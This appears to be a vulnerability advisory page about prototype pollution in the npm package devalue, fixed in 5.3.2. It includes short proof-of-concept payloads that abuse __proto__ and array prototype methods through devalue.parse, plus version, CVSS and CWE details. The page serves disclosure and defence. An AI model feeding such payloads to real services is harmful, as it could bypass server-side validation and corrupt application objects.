devalue prototype pollution vulnerability
1. devalue.parse allows __proto__ to be set
A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
get magnitude() {
return (this.x ** 2 + this.y ** 2) ** 0.5;
}
}
const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;
const vector = devalue.parse(payload, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 52. devalue.parse allows array prototype methods to be assigned to object
In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:
devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:
const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0This could be used by a creative attacker to bypass server-side validation.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | devalue | < 5.3.2 | 5.3.2 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H- Weakness (CWE)
CWE-1321- Platform
- npm
- Package
devalue- Disclosed
- 26.08.2025
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-vj54-72f3-p5jv - CC BY 4.0
Vulnerability history: devalue
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 16
- First → latest
- 08.2025 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 8
- Medium 4
- Low 4
Disclosures per year
- 2025: 1
- 2026: 15
-
devalue prototype pollution vulnerability this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.